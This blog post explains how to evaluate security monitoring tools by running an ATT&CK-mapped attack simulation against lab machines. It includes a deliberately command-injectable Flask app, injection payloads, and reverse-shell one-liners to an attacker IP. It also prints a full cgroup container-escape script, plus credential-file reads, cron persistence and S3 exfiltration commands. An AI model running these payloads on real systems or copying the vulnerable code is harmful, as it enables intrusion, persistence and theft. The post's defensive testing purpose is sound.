Evaluating Security Tools

Evaluating Security Solutions

From time to time in my career in security I've been asked to select a new security tool/vendor to generate security events and alert on suspicious or malicious behaviors. Sometimes these are network based solutions, other times they're host based, and still other times they're something in between, operating on kubernetes or the cloud infrastructure.

Regardless of the method in which the tool is designed to work, it should create alerts that can be mapped to techniques and tactics in the MITRE ATT&CK framework. If you're not familiar with the ATT&CK framework, you should pause here and read the excellent ATT&CK 101 blog post here

This article should give you an idea on how to take a security solution and build a test case for it, mapping our "attacker" actions to the ATT&CK framework and then comparing those actions to the alerts generated by the tool. I will also show you a sample scorecard to evaluate and compare different vendors. Every time I've run one of these tests I have been surprised by the results. and most often in a bad way. Which is to say, I've learned much more through this process about the weaknesses of various tools by running these tests than I would have via any other method.

1 - Requirements Gathering

Before you can run any test of a security tool you need to know what your requirements are. This means understand what you need it to do vs what you want it to do, and what your nice-to-haves are. For example, many security tools (at the time this is written (hopefully)) don't support monitoring security events that occur inside of containers. Others will only support monitoring events inside of a particular container runtime. You need to determine for yourself if seeing those events is critical, important, or nice-to-have. For me during my last test, it was critical, and that shapes the test plan.

A (very abbreviated) sample set of requirements:

Critical

• monitoring of hosted kubernetes environments (GKE, EKS, etc)
• monitoring of self-hosted kubernetes environments
• monitoring of traditional linux VMs
• monitoring of traditional linux VMs running docker
  • via docker runtime
  • via containerd

Important

• ability to write and customize alerts

Nice to Haves

• native monitoring of DNS
• Integration with threat-intel feeds
  • e.g. alerts for connections to malicious IPs

You should spend as much time as you need on this step because it is the input to all the future steps and as they say, garbage in, garbage out.

2 - Design a test plan

Test plans come in all shapes and sizes but in general I try to ensure that I have at least one action for the following tactics from the ATT&CK framework:

• Recon
• Initial Access
• Execution
• Persistence
• Privilege Escalation
• Credential Access
• Discovery
• Lateral movement
• Exfiltration

This isn't to say that the others aren't important, but for me, those are the ones I want to make sure I have for a basic test.

In my experience it isn't important for the tactics and techniques you use to be complex or advanced. As a matter of fact, it's best if your initial round of testing isn't advanced or fancy. By default many security tools won't even detect the basics in a meaningful way and you can always take the things you DID detect and make them fancier and re-test.

2 - Test Setup

2a - Target machines

The following is my generalized setup for the test machines from my most recent test:

• A ubuntu 20.04 server named target-a with:
  • docker + containerd
  • a 20gb file of junk data to "exfil"
  • a container vulnerable to RCE running in privileged mode (details later)
  • an SSH key owned by root
• A second ubuntu 20.04 server named lat-a with:
  • the SSH public key from target-a added to authorized-keys

A sample script that can be used to automate the setup of target-a can be found here: https://gist.github.com/LivingInSyn/317a0e664aee59dcf82acf0d9efb70df

If the security tool you're evaluating is host based don't forget to add a step the install script to install your security solution, otherwise, you're not going to generate many events. I'm not saying I've forgotten before but, uh, I've definitely wasted time...

2b - The vulnerable app

The container vulnerable to RCE is very simple. Like I said before, complexity isn't necessary for this kind of test. The /isup API is subject to a trivial RCE bug. Sample payloads are provided in section 3b below.

vuln_app.py

from flask import Flask
from flask_restful import reqparse, abort, Api, Resource
import subprocess

app = Flask(__name__)
api = Api(app)

parser = reqparse.RequestParser()
parser.add_argument('url')

class IsUp(Resource):
    def post(self):
        args = parser.parse_args()
        url = args['url']
        command = f'curl -L {url}'
        rval = subprocess.call(command, shell=True)
        if rval != 0:
            return {'status': 'down'}, 400
        return {'status': 'up'}, 200

class HealthCheck(Resource):
    def get(self):
        return '', 200


api.add_resource(IsUp, '/isup')
api.add_resource(HealthCheck, '/')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Dockerfile

FROM python
RUN pip install flask flask-restful
RUN mkdir -p /app
ADD vuln_app.py /app/vuln_app.py
CMD ["python", "/app/vuln_app.py"]

2c - Our attacker machine

Our attacker machine is going to be any linux box. The only requirement is that the box has an IP address accessible by the target machine. For the basic steps detailed in section 3 the tools required are:

• netcat
• curl

For the additional more advanced steps I used sliver as a c2. Sliver is an excellent tool for the job and unlike some other tools, it's FOSS! You can easily replace sliver with your tool of choice, however.

3 - The attack plan

Our attack plan is outlined below:

Event	Type	MITRE ATT&CK Technique	Observed
Scanning of host (nmap)	Network, Host, Container	Recon - Active Scanning - T1595.001
Command injection - testing	Network, WAF, Container	Recon - Active Scanning - T1595.002
Reverse shell in container	Network, Container	Initial Access - Exploit Public-Facing Application - T1190 Execution - Command and script interpreter (python) - T1059.006
Data collection / recon in container	Container	Recon - Gather Victim Host Information: Software - T1592.002
Container Breakout	Host, Container	Priv. Esc. - Escape to host - T1611
Reverse shell in host	Network, Host	Execution - Command and script interpreter (python) - T1059.006
Data collection / recon in host	Host	Recon - Gather Victim Host Information: Software - T1592.002
Credential Access: dump /etc/shadow	Host	Cred. Access - Credentials from Password Stores - T1555
Credential Access: Searching for plaintext passwords	Host	Cred. Access/Discovery - Credentials from Password Stores - T1555
Discovery: dump /etc/passwd	Host	Cred. Access - Account Discovery: Local Account - T1087.001
Persistence: modify crontab	Host	Persistance - Scheduled Task/Job: Cron - T1053.003
Attacker installed tooling: AWS CLI	Host	N/A
Exfil: AWS S3 Bucket Upload	Network, Host	Exfiltration - Exfiltration Over Web Service: Exfiltration to Cloud Storage - T1567.002

Some additional more advanced steps that we shouldn't run until (at least) our second round of testing and that we won't cover in this simplified guide:

Event	Type	MITRE ATT&CK Technique	Observed
Silver C2	Network, Host, Container	Command and Control: Application Layer Protocols: Web Protocols - T1071.001
Hide the file from Silver C2	Host	Defense Evasion - Hide Artifacts: Hidden Files and Directories - T1564.001
Run the PS command to see processes	Host	Discovery - Process Discovery - T1057
Gathering data from GCP buckets	Host	Discovery - Cloud Storage Object Discovery - T1619
Discover hosts on the same subnet	Network, Host	Recon - Active Scanning - T1595
Use stolen key to move laterally	Network, Host	Lateral Movement - Remote Services - T1021

We won't run through all of these steps in detail, but we will run through several of them.

3a - Scanning

From the attacker host, scan the public IP of target-a

nmap -sS -sV -vv -O $VICTIM_IP

3b - Test command injection

We want to do three things here

• a valid test (baseline)
• a test with a blind test (sleep)
• a test with output (whoami)

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com"}'  http://$VICTIM_IP/isup # valid test

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && sleep 10"}'  http://$VICTIM_IP/isup # blind test, takes 10 seconds to return

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && whoami"}'  http://$VICTIM_IP/isup # test getting output (non-blind)

3c - Reverse shell on the container

Now we want to spawn a reverse shell from the container back to our attacker machine. On our attacker machine we want to start our reverse shell listener on port 55555:

nc -lnvp 55555

Now create a github gist (or pastebin or simple webserver on our attacker box etc.) with the following contents. This is an optional step, but I find it makes keeping track of things easier. Make sure to replace <YOUR ATTACKER IP HERE> with your attacker IP:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR ATTACKER IP HERE>",55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Note that you can generate alternate reverse shells easily using https://www.revshells.com/

Run the injection and spawn our reverse shell, replacing <YOUR GIST URL> with your gist url or rev shell

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && curl <YOUR GIST URL> | /bin/bash"}' http://$VICTIM_IP/isup

3d - Data collection / recon in container

From our newly created reverse shell, lets run some verifiable actions that we should see in our security tool

whoami
hostname
cat /etc/os-release
uname -r

At this point we can probably guess that we're inside of a container and we should try and break out!

3e - Container Breakout + Host Shell

For the container breakout step we're going to use a process called PID bashing. You can read more about it here:

https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html

To do it, we're first going to create another gist/paste/file-on-webserver with the following contents (making sure to replace the IP placeholder again):

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<YOUR ATTACKER IP HERE>,55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Then we're going to spawn another reverse shell and trigger the breakout from out attacker box

nc -lnvp 55554 &
curl <Your gist URL> | /bin/bash

Yay! We should now have a shell on the host machine as root!

3f - Recon and Cred. Access in the Host

Now we want to run some more actions that should raise alerts as we do some recon and credential access

whoami
hostname
cat /etc/os-release
uname -r
cat /etc/passwd
cat /etc/shadow
ls ~/.ssh

3g - Persistance in the host

Now we want to add some basic persistance. There are sneakier ways to get persistance but an incredibly simple (and common!) method is to modify the crontab to spawn a new reverse shell on a schedule. Make sure to check for <ATTACKER IP> placeholders and replace them with your values!

echo "* * * * * root python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>\",55555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" >> /etc/crontab

3h - Install some tools and exfil data

Please note that to run this step you'll need an s3 bucket and some write only IAM keys. You can change this to writing to any other file storage solution of your choice, however.

Now we want to install some quick tools, in this case the AWS CLI, and exfil some imaginary data that we created when we setup the victim box.

apt install -y unzip 
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# enter the access key id and secret key in this next step along with the region of your bucket
export PATH="/usr/local/bin:$PATH"
aws configure
aws s3 cp /data.enc s3://attack-sim-bucket/

There's nothing super special here, but if your box is on, say, Azure, someone installing the AWS CLI should probably be an alert.

4 - Check for Events and score

Now that we're run through our attack scenario, it's time to take some scores! I should really emphasize that these scores are just one possible weighting and you should disagree with me based on the risks that you're facing and the things that you think are most important! You might also want to change the weight and the events considered based on the type of tool you're evaluating or if you're evaluating multiple tools working in parallel with each other.

Event	Points	Observed?
Scanning	1
Command Injection - testing	2
Container Reverse Shell	3
Data Collection/Recon in Shell	2
Container Breakout	3
Host Reverse Shell	4
Data Collection/Recon in Host	2
Dumping /etc/shadow	2
Persistance via crontab	3
Attacker installed tooling	1
Exfil of data to s3 bucket	1
Natively alert on curl-> bash	2

Credits

Nothing like this gets done in a vacuum, so huge thanks to two members of my team who were instrumental in this most recent version of this test.

• Jessica Wilson: LinkedIn
• Oak Latt: LinkedIn

Conclusion

This is just a single possible test setup that you can use for testing and evaluating a security tool or a set of security tools. It is not by any means an exhaustive test, if anything it's extremely basic. But if you try it with your security tools I bet you'll be amazed at what is and isn't caught and you'll learn something valuable. There are some great resources out there for finding different methods to use with different platforms and threat scenarios. One of my favorites is Atomic Red Team.

Have you tried this? Do you have a different testing methodology? I'd love to hear all about it! Leave me a comment, or send me an email, or hit me up on twitter. Thanks!